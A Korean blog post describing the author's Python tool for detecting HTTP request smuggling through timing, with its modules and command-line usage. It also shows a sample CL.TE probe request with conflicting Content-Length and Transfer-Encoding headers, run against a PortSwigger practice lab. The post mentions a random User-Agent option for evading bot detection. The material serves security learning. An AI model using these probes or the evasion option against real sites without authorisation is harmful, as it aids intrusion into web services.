python 으로 http request smuggling tool 만들기

소스 코드는 github 에서 볼 수 있으니 참고 바란다.
모든 기능은 완성되지 않았지만, 사용하는데 문제는 없을 것이다.
Lactea98/smuggler.py
HTTP request smuggling tools. Contribute to Lactea98/smuggler.py development by creating an account on GitHub.
github.com
http request smuggling 도구를 만들기 위해 어떻게 하면 취약함을 알 수 있는가를 portswigger 에서 공부했다.
또한 이미 짱짱해커들이 만들어 놓은 payload 를 참고해서 나만의 툴을 개발하게 되었다.
Module
이 툴을 사용하기 위해 아래의 모듈이 필요하다.
import requests
import argparse
import sys
from fake_useragent import UserAgent
import time
import socket, ssl
from urllib.parse import urlparse
How to detect - Timing tech
http request smuggling 공격에 취약한가를 알기 위해 필자는 timing tech 공격을 사용했다.
이는 front-end 에서 패킷을 처리할때 아무런 문제가 없어 포워딩을 하는데, 하지만 back-end 에서 패킷을 처리할때 data가 더 오지 않아 wait 하는 과정에서 timeout 을 리턴할때를 탐지한다.
예를들어 테스팅 사이트가 CL.TE 방식으로 구성되어 있다면, 툴에서는 아래와 같은 payload를 전송한다.
POST /path HTTP/1.1
Host: target-host.com
Content-Length: 4
Transfer-Encoding: chunked
0
위 payload는 CL.TE 방식일 때, timeout을 리턴하게 만드는 공격이다.
TE.CL과 TE.TE 를 탐지할 때도 마찬가지 이다.
How to use
사용방법은 아래와 같다.
  -h, --help         show this help message and exit
  --url URL          Input url. --url http://test.com
  --agent            Generating random User-Agent. --agent
  --timeout TIMEOUT  Set timeout. Default: 7s. --timeout [time]
테스팅 사이트가 봇을 감지한다면, --agent 옵션을 넣어 랜덤한 User-agent 를 생성해서 봇 감지를 피할 수 있다.
$ python3 smuggler.py --url https://target-host.com --agent
timeout 옵션이 있지만 아직 개발 중이다.
출력 예시는 아래와 같이 서버의 구성과 payload를 출력하고 프로그램이 종료된다.
$ python3 smuggler.py --url https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/ --agent
                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 
                        by universe 
[*] Generating fake user-agent...
[*] Done.
[*] Sending to https://ac9f1faa1f71d93b807b054000660013.web-security-academy.net/
[*] Testing CL.TE...
     └───> HTTP/1.1 500 Internal Server Error
[*] Server using CLTE
>> 
====== payload ======
POST / HTTP/1.1
Host: ac9f1faa1f71d93b807b054000660013.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
0
======================
Reference
https://portswigger.net/web-security/request-smuggling https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
'🔒Security' 카테고리의 다른 글
| python flask debugger pin, find and exploit (0) | 2020.08.29 | 
|---|---|
| python으로 사이트에 있는 url crawler tool 개발 (0) | 2020.03.30 | 
| Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축 (0) | 2020.03.22 | 
| [pwn] - pwntools 로 PIE base 구하기 (2) | 2020.02.23 | 
| [pwn] - environ 변수로 stack leak 하기 (1) | 2020.02.23 | 
댓글
이 글 공유하기
다른 글
- 
python flask debugger pin, find and exploit
python flask debugger pin, find and exploit
2020.08.29 - 
python으로 사이트에 있는 url crawler tool 개발
python으로 사이트에 있는 url crawler tool 개발
2020.03.30 - 
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축
Paypal에서 발견된 HTTP Request Smuggling - 실습 환경 구축
2020.03.22 - 
[pwn] - pwntools 로 PIE base 구하기
[pwn] - pwntools 로 PIE base 구하기
2020.02.23